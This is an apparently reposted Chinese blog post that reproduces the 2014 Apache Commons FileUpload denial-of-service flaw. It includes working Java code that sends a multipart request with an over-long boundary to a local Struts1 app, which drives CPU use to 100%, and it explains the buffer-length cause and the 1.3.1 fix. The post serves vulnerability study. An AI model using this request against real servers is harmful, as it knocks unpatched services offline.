zoukankan      html  css  js  c++  java
  • 重现apache commons fileupload DOS漏洞

    这个漏洞是2014年2月4日被发现的, 因为该组件试用范围非常广, 所以该漏洞的影响也非常巨大。通过特制的包含畸形header的http请求,可以导致使用该组件的应用程序进入无限循环从而耗尽CPU等资源并最终崩溃。

    最近因为在修补struts1的可操纵classLoader的漏洞(struts2也有该漏洞, 不在本文讨论范围), 所以我就在我建立的struts1的项目上直接做测试,怎么创建struts1的项目不在本文讨论范围之列你可以在这里下载struts1样例程序(http://download.csdn.NET/detail/sunxing007/7350433)。 只需要建立一个最简单的hello world的struts1程序即可。然后启动tomcat并部署项目。

    然后用apache http component 组件写一个程序来发起一个“带特制的包含畸形header的http请求” 关键代码如下(在下载的附件中有HttpUtil.Java包含完整的代码):

    [java] view plain copy
     
    1. public static void testCommonFileUploadVelnerability() throws ClientProtocolException, IOException{  
    2.     CloseableHttpClient httpClient = createHttpClient();  
    3.     HttpPost post = new HttpPost("http://localhost:8080/Struts1/helloWorld.do");  
    4.     String boundary = "";  
    5.     for(int i=0; i<4092; i++){  
    6.         boundary += "a";  
    7.     }  
    8.     post.setHeader("Content-Type", "multipart/form-data; boundary=#{" + boundary + "}");  
    9.     post.setHeader("lf-None-Match","59e532f501ac13174dd9c488f897ee75");  
    10.     String body = "";  
    11.     for(int i=0; i<4097; i++){  
    12.         body +="b";  
    13.     }  
    14.     post.setEntity(new StringEntity(body));  
    15.       
    16.     CloseableHttpResponse response = httpClient.execute(post, DEFAULT_CONTEXT);  
    17.     HttpEntity entity = response.getEntity();  
    18.     System.out.println(EntityUtils.toString(entity));  
    19.     System.out.println("Over!");  
    20. }  

    运行该程序, 你会发现该程序无法返回, 打开任务管理器,会发现CPU使用率为100%; 关闭tomcat后 CPU的使用率马上降到正常水平。

    该漏洞出现在fileupload 1.3和以前的版本, apache在漏洞发现之后很快发布了1.3.1版本修复了该bug。

    稍微有点好奇的我,就下载了fileupload的1.3和1.3.1的源码并比较了一下, 发现问题的原因就在于, 它在解析/读取上传内容的时候,使用了一个长度为4096的buffer,它不断的读取内容到buffer并用boundary来判断是否一个附件结束。但是如果一个boundary加上CR/LF外加两个dash(-)的长度本身就超过了buffer的长度的话, 会导致解析进入死循环。所以apache在fix这个bug的时候,会判断boundary的长度是否大于buffer的长度。如果是就抛异常。如下的代码片段出现在FileUploadBase.java和MultipartStream.java中:

    [java] view plain copy
     
    1. try {  
    2.     multi = new MultipartStream(input, boundary, notifier);  
    3. catch (IllegalArgumentException iae) {  
    4.     throw new InvalidContentTypeException(  
    5.             format("The boundary specified in the %s header is too long", CONTENT_TYPE), iae);  
    6. }  
    [java] view plain copy
     
    1. public MultipartStream(InputStream input,  
    2.         byte[] boundary,  
    3.         int bufSize,  
    4.         ProgressNotifier pNotifier) {  
    5.   
    6.     if (boundary == null) {  
    7.         throw new IllegalArgumentException("boundary may not be null");  
    8.     }  
    9.   
    10.     this.input = input;  
    11.     this.bufSize = bufSize;  
    12.     this.buffer = new byte[bufSize];  
    13.     this.notifier = pNotifier;  
    14.   
    15.     // We prepend CR/LF to the boundary to chop trailing CR/LF from  
    16.     // body-data tokens.  
    17.     this.boundaryLength = boundary.length + BOUNDARY_PREFIX.length;  
    18.     if (bufSize < this.boundaryLength + 1) {  
    19.         throw new IllegalArgumentException(  
    20.                 "The buffer size specified for the MultipartStream is too small");  
    21.     }  
    22.     this.boundary = new byte[this.boundaryLength];  
    23.     this.keepRegion = this.boundary.length;  
    24.   
    25.     System.arraycopy(BOUNDARY_PREFIX, 0, this.boundary, 0,  
    26.             BOUNDARY_PREFIX.length);  
    27.     System.arraycopy(boundary, 0, this.boundary, BOUNDARY_PREFIX.length,  
    28.             boundary.length);  
    29.   
    30.     head = 0;  
    31.     tail = 0;  
    32. }  


    有兴趣的可以下载源码并详细研究一下。

  • 相关阅读:
    Django-models,继承AbstractUser类
    Django-views,用户认证,login_requierd()
    django前篇
    jquery插件
    jquery事件及插件
    jquery操作元素
    jquery选择器筛选器
    js作用域与作用域链
    js之DOM(二)
    bootstrap
  • 原文地址:https://www.cnblogs.com/firstdream/p/7375923.html
Copyright © 2011-2022 走看看